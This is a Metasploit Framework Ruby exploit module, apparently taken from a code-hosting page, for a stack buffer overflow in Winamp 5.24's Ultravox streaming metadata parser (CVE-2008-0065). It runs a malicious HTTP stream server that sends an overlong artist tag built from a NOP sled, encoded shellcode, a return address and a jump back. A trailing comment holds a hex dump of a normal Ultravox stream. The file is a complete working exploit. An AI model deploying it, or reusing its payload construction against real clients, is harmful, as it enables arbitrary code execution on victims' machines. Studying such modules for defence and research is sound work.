159 lines
3.7 KiB
Ruby
159 lines
3.7 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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module Msf
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class Exploits::Windows::Browser::Winamp_Ultravox < Exploit::Remote
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include Exploit::Remote::TcpServer
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Winamp Ultravox Streaming Metadata (in_mp3.dll) Buffer Overflow',
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'Description' => %q{
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This module exploits a stack overflow in Winamp 5.24. By
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sending an overly long artist tag, a remote attacker may
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be able to execute arbitrary code. This vulnerability can be
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exploited from the browser or the winamp client itself.
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},
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'Author' => 'MC',
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'BID', '27344' ],
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[ 'CVE', '2008-0065' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 700,
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'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
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'StackAdjustment' => -3500,
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'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Winamp 5.24', { 'Ret' => 0x15010d3e } ],
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],
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'Privileged' => false,
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'DisclosureDate' => 'Jan 18 2008',
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'DefaultTarget' => 0))
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register_options(
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[
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OptPort.new('SRVPORT', [ true, "The HTTP daemon port to listen on.", 8080 ])
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], self.class)
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end
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def on_client_connect(client)
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return if ((p = regenerate_payload(client)) == nil)
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res = client.get_once
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content = "\x00\x01\x00\x01\x00\x01" + "<metadata><song><artist>"
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content << make_nops(3828 - payload.encoded.length) + payload.encoded
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content << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')
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content << [0xe8, -850].pack('CV') + rand_text_alpha_upper(1183)
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content << "</artist></song></metadata>"
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sploit = "\x5a\x00\x39\x01" + [content.length].pack('n')
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sploit << content + "\x00"
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# randomize some stuff.
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num = rand(65535).to_s
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header = "HTTP/1.0 200 OK\r\n"
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header << "Server: Ultravox 3.0\r\n"
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header << "Content-Type: misc/ultravox\r\n"
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header << "Ultravox-SID: #{num}\r\n"
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header << "Ultravox-Avg-Bitrate: #{num}\r\n"
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header << "Ultravox-Max-Bitrate: #{num}\r\n"
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header << "Ultravox-Max-Msg: #{num}\r\n"
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header << "Ultravox-Stream-Info: Ultravox;Live Stream\r\n"
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header << "Ultravox-Msg-Que: #{num}\r\n"
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header << "Ultravox-Max-Fragments: 1\r\n\r\n"
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header << sploit
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print_status("Sending #{header.length} bytes to #{client.peerhost}:#{client.peerport}...")
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client.put(header)
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handler(client)
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service.close_client(client)
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end
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end
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end
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=begin
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HTTP/1.0 200
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.Server: Ultravo
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x 3.0..Content-T
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ype: misc/ultrav
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ox..Ultravox-SID
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: 22221..Ultravo
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x-Avg-Bitrate: 6
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4000..Ultravox-M
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ax-Bitrate: 9600
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0..Ultravox-Max-
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Msg: 16000..Ultr
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avox-Stream-Info
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: Ultravox;Live
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Stream..Ultravox
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-Msg-Que: 39..Ul
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travox-Max-Fragm
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Z.9..,......<met
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adata><length>0<
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/length><soon>Mo
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re on
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</soon><song><na
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me>The Night
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ghts In
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tin</name><album
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>Days Of
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Passed</album><a
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rtist>The Moody
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Blues</artist><a
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lbum_art>xm/stat
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ion_logo_WBCRHT.
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jpg</album_art><
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album_art_200>xm
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/station_logo_WB
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CRHT_200.jpg</al
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bum_art_200><ser
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ial>-1</serial><
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song_id>-1</song
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_id><amg_song_id
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>-1</amg_song_id
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><amg_artist_id>
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-1</amg_artist_i
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d><amg_album_id>
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-1</amg_album_id
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><itunes_song_id
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>-1</itunes_song
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_id><itunes_arti
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st_id>-1</itunes
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_artist_id><itun
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es_album_id>-1</
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itunes_album_id>
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</song></metadat
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a>.Z.......\./!.
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!.UP.......B...&
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Z....D)ydB.,.vy/
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=end
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